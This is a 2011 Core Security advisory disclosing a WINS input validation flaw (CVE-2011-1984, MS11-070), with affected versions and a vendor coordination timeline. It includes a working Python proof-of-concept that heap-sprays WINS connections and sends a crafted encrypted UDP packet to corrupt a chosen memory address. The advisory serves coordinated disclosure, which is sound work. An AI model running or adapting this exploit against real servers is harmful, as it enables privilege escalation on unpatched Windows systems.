Microsoft WINS – ECommEndDlg Input Validation Error (MS11-035/MS11-070)
Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ MS WINS ECommEndDlg Input Validation Error 1. *Advisory Information* Title: MS WINS ECommEndDlg Input Validation Error Advisory ID: CORE-2011-0526 Advisory URL: http://www.coresecurity.com/content/ms-wins-ecommenddlg-input-validation Date published: 2011-09-12 Date of last update: 2011-09-12 Vendors contacted: Microsoft Release mode: Forced release 2. *Vulnerability Information* Class: Input validation error [CWE-20] Impact: Code execution Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2011-1984 3. *Vulnerability Description* A security vulnerability was discovered in the Windows Internet Name Service (WINS). The vulnerability could allow elevation of privilege if a user receives a specially crafted WINS replication packet on an affected system running the WINS service. An attacker must have valid logon credentials and be able to log on locally in order to exploit this vulnerability. Malicious packets are processed by the vulnerable function 'ECommEndDlg', reported in MS11-035 [1], but this time the pointers handled by this function are controlled by the attacker. *Important:* Given that this vulnerability is triggered by sending a specially crafted packet to the dynamic UDP port of the WINS service (which is binded to the loopback address '127.0.0.1'), this vulnerability can result in an elevation of privilege. Despite that, in old W2003 SP0 systems, the dynamic UDP port is binded to the '0.0.0.0' address, allowing remote code execution. 4. *Vulnerable packages* . Windows Server 2003 SP0, SP1 and SP2. . Windows Server 2003 x64 Edition SP2. . Windows Server 2003 SP2 for Itanium-based Systems. . Windows Server 2008 SP2. . Windows Server 2008 x64 Edition SP2. . Windows Server 2008 R2 for x64-based Systems. . Other versions and platforms are probably affected too, but they were no checked. 5. *Non-vulnerable packages* . Windows XP SP3. . Windows XP Professional x64 Edition SP2. . Windows Vista SP2. . Windows Vista x64 Edition SP2. . Windows Server 2008 for Itanium-based Systems SP2. . Windows 7. . Windows 7 for x64-based Systems. . Windows Server 2008 R2 for Itanium-based systems. 6. *Credits* This vulnerability was discovered and researched by Nicolas Economou from Core Security Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Security Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *Proof of Concept* The following PoC was tested on WINS 5.2.3790.4849, W2003 SP2. This Python code generates 300 TCP connections to the 42 port (the limit of active WINS connections), and sends an UDP packet to the dynamic port handled by WINS. The packet is processed by the vulnerable function 'ECommEndDlg', reported in MS11-035 [1], but this time the pointers handled by this function are controlled by the attacker. As a result, this code increments +1 the memory address passed through the command line. For example, the memory address 0x10c00 is typically mapped in the WINS process and it can be used. /----- ## import sys import socket import struct import time import os from ctypes import * from ctypes.wintypes import DWORD LocalFree = windll.kernel32.LocalFree CryptProtectData = windll.crypt32.CryptProtectData CryptUnprotectData = windll.crypt32.CryptUnprotectData memcpy = cdll.msvcrt.memcpy CRYPTPROTECT_LOCAL_MACHINE = 0x04 class DATA_BLOB(Structure): _fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))] def get_data(blob): cbData = int(blob.cbData) pbData = blob.pbData buffer = c_buffer(cbData) memcpy(buffer, pbData, cbData) LocalFree(pbData); return buffer.raw def Win32CryptProtectData(plain): buffer = c_buffer(plain, len(plain)) iblob = DATA_BLOB(len(plain), buffer) oblob = DATA_BLOB() if CryptProtectData(byref(iblob), u"win32crypto.py", None, None, None, CRYPTPROTECT_LOCAL_MACHINE, byref(oblob)): return get_data(oblob) else: return None def send_packet (sock, ip, port, message): packet = "" packet += message sock.sendto(packet, (ip, port)) ################################################################################ # Check args if len(sys.argv) != 4: print "\nusage: python wins_poc.py wins_tcp_dynamic_port wins_udp_dynamic_port writeable_address(hex)" print "\nNote: On Windows 2003, the udp dynamic port is the same number of the tcp port less one" sys.exit(0) # Get ports dinamically tcp_dynamic_port = int(sys.argv[1]) udp_dynamic_port = int(sys.argv[2]) writeable_address = int(sys.argv[3], 16) # Target IP target_ip = "127.0.0.1" ################################################################################ # Create connections to do a heap spray rpc_connections = [] for i in range(0, 1000): try: p = socket.socket(socket.AF_INET, socket.SOCK_STREAM) p.connect((target_ip, tcp_dynamic_port)) rpc_connections += [p] except Exception, e: break # Struct that is validated by WINS magic_struct = "" magic_struct += "a" * 0x0c magic_struct += struct.pack("I", writeable_address-0x14) magic_struct += struct.pack("I", 0) magic_struct += struct.pack("I", 4) magic_struct += "b" * (0x20-len(magic_struct)) magic_struct += struct.pack("I", 1) magic_struct += "c" * (0x2c-len(magic_struct)) magic_struct += struct.pack("I", 0x10c00) magic_struct += "d" * (0x38-len(magic_struct)) magic_struct += struct.pack("I", 0) # Data con la forma de la estructura que triggerea el bug data = "" data += magic_struct data += "B" * (0x4000-len(data)) data += "filling" # Create connections to do a heap spray for p in rpc_connections: try: p.send(data) except Exception, e: pass # Get to the limit od WINS connections print "connecting ..." ps = [] for i in range(0, 300): p = socket.socket(socket.AF_INET, socket.SOCK_STREAM) p.connect((target_ip, 42)) ps += [p] # Go through an area 32Kb for offset in range(0, 0x8000, 4): # Data to send data = "" data += struct.pack("I", 0) data += "A" * 0x0c data += struct.pack("I", 0) data += struct.pack("I", 0x05000000+offset) # Encrypt data2 = Win32CryptProtectData(data) # Send the poisoned packet p = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) send_packet(p, target_ip, udp_dynamic_port, data2) p.close () # Close all sockects print "closing TCP connections ..." for p in ps: p.close() for p in rpc_connections: p.close() -----/ 8. *Report Timeline* . 2011-06-07: Core Security Technologies notifies the MSRC of the vulnerability, setting the estimated publication date of the advisory to July 5th, 2011. Technical details sent to the vendor. . 2011-06-07: Vendor acknowledges receipt of the information and notifies the case 11427 was opened for handling this report. . 2011-06-08: MSRC notifies they will not be able to meet the initial release schedule set in July. MSRC will contact Core with a tentative timeline as soon as the product team has reproduced the issue. . 2011-06-15: MSRC notifies that they have successfully reproduced this issue and can confirm the vulnerability results in an Elevation of Privilege instead of Remote Code Execution; the reason for this is that the dynamic UDP port that is opened only listens on the loopback address. Despite that, MSRC will still be issuing a Security Update. . 2011-06-17: MSRC notifies that they are currently planning the development of the fix. MSRC also notifies that they should have a good idea when a fix will be available in a week. . 2011-06-17: Core requests a status update and an estimated release date. . 2011-06-24: MSRC notifies they are currently targeting Sep 13th 2011 to release the security update. . 2011-07-06: Core agrees to reschedule the advisory to Sep 13th. . 2011-08-31: MSRC notifies they are still on track to release the update in September. . 2011-09-08: Core notifies that everything is ready for public disclosure next Tuesday 13th. . 2011-09-09: MSRC notifies that, by error, the bulletins were unintentionally published last night. MSRC has taken down the bulletins and is evaluating what next steps are needed to take prior to next Tuesdays. MSRC asks delay the Core advisory until next Tuesday. . 2011-09-09: Core confirms that RSS reports regarding the Microsoft Security Bulletin MS11-070 were leaked and the information is available in some security blogs and security discussion lists [2][3][4]. These leaked reports include the vulnerability reported by Core: "Vulnerability in WINS Could Allow Elevation of Privilege (2571621)". . 2011-09-09: Core notifies that advisories are not usually released on Fridays and announces that the advisory will be released Monday 12th. . 2011-09-12: CORE-2011-0526 is published as forced release. 9. *References* [1] MS11-035, http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx [2] http://arstechnica.com/microsoft/news/2011/09/microsoft-posts-security-bulletins-four-days-early-scrambles-to-fix-mistake.ars [3] http://www.smokey-services.eu/forums/index.php?topic=132827.0 [4] http://pastebin.com/DT3w5G19 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and prove real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2011 Core Security Technologies and (c) 2011 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. |